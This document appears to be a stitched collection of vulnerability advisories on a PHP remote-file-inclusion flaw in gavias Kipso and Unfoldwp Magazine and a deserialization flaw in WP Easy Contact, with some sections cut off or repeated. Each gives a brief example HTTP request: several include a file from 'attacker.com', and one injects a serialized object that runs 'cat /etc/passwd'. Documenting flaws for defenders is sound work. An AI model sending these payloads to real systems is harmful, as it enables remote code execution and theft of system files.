How the Exploit Works

The exploit takes advantage of a flaw in the way gavias Kipso processes PHP Include/Require statements. If an attacker can manipulate the filename used in these statements, they can potentially include local files or remote files from a malicious server. Once included, these files will be executed in the context of the application, which could lead to unauthorized access, data leakage, or even a complete system compromise.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited using a HTTP request:

GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this example, the attacker is manipulating the ‘file’ parameter in the URL to include a PHP file from a remote server. This file could contain malicious code that would then be executed by the server.

Mitigation and Fixes

Users of gavias Kipso are strongly advised to apply the vendor patch as soon as it becomes available. In the meantime, it is also recommended to use Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation measures. These systems can help detect and block attempts to exploit this vulnerability.
Regular updates and patches are the first line of defense against vulnerabilities like CVE-2025-53578. It is crucial to have a robust and proactive cybersecurity strategy that includes regular software updates and continuous monitoring for unusual activity.

How the Exploit Works

The PHP Remote File Inclusion vulnerability arises from the application’s improper control of filenames in the Include/Require Statements of its PHP code. This flaw allows an attacker to manipulate these statements and include a file from a remote server. The included file can contain malicious PHP code that gets executed in the context of the application. This can lead to unauthorized access, data leakage, or even complete system compromise if the application is running with high privileges.

Conceptual Example Code

The following conceptual example demonstrates how an attacker might exploit this vulnerability. The attacker sends a request to a vulnerable endpoint, manipulating the PHP Include/Require Statement to include a malicious PHP file from a remote server.

GET /vulnerable_endpoint.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this example, `http://attacker.com/malicious_file.php` is a PHP file controlled by the attacker and includes malicious PHP code. When the server processes this request, it includes and executes the malicious code, leading to a successful exploit of the vulnerability.

Mitigation

The recommended mitigation for this vulnerability is to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempts at exploiting this vulnerability. These systems should be configured to detect and prevent the inclusion of files from remote servers. Additionally, developers should ensure their code properly sanitizes user input and restricts the files that can be included to a known safe list. This can help prevent PHP Remote File Inclusion vulnerabilities.

Overview

The rapid growth of the e-commerce industry has led to the widespread use of different web applications to cater to the needs of businesses, one such application being WP Easy Contact. But, just like any other software, WP Easy Contact is not immune to vulnerabilities. One of the severe vulnerabilities affecting it is ‘Deserialization of Untrusted Data,’ which could expose the system to potential compromise or data leakage.
This issue is a cause for concern as it impacts emarket-design WP Easy Contact versions up to 4.0.1, a popular contact management plugin for WordPress used by many online businesses. The vulnerability, classified as CVE-2025-53572, has a CVSS severity rating of 8.1, indicating a high level of severity.

Vulnerability Summary

CVE ID: CVE-2025-53572
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

emarket-design WP Easy Contact | up to 4.0.1

How the Exploit Works

The vulnerability exploits the process of deserialization. Deserialization is the reverse process of serialization, where byte streams are converted back into objects. However, when this process is done on untrusted data, it can lead to Object Injection. The attacker can exploit this by sending malicious serialized objects that, when deserialized, result in behavior that can compromise the system or lead to data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

POST /contact_form_submit HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
form_data=O:8:"stdClass":1:{s:4:"code";s:39:"system('cat /etc/passwd');";}

In this example, the attacker sends a serialized object in the “form_data” parameter that, when deserialized, executes a system command to read sensitive data from the server.

Mitigation

The best way to mitigate this vulnerability is to apply the vendor-provided patch. If the patch is not immediately available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can detect and block known malicious serialized objects, effectively mitigating the threat. However, they should not be seen as a long-term solution, and patching the system should be a priority.

Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Unfoldwp Magazine | n/a through 1.2.2

How the Exploit Works

The vulnerability in question, CVE-2025-53248, is rooted in the PHP Remote File Inclusion (RFI). RFI is a type of vulnerability most often found in web applications that allows an attacker to include a remote file, usually through a script on the web server, which can lead to data leakage or even system compromise.
In this particular case, the Unfoldwp Magazine does not properly control the filename for Include/Require Statement in its PHP program, allowing an attacker to manipulate the PHP ‘include’ or ‘require’ functions and execute arbitrary PHP code on the target server. This can enable the attacker to gain unauthorized access to sensitive data, modify system configurations, or even take over the system.

Conceptual Example Code

Here is a conceptual example demonstrating how an attacker might exploit this vulnerability:

GET /index.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable-unfoldwp.com

In this example, the attacker manipulates the ‘file‘ parameter in the URL to point to a malicious PHP script hosted on their server (`http://attacker.com/malicious_script.txt`). When the request is processed by the Unfoldwp Magazine platform, the malicious script is executed, potentially leading to unauthorized actions being carried out on the server.

Mitigation Measures

Users of the affected Unfoldwp Magazine versions are strongly advised to apply the vendor patches as soon as they become available. In the meantime, consider employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can monitor and block suspicious activities, providing an additional layer of protection against potential exploits.
It is also recommended to regularly update and patch all software, and to follow best security practices such as least privilege principle and input validation to reduce the attack surface and protect against similar vulnerabilities in the future.
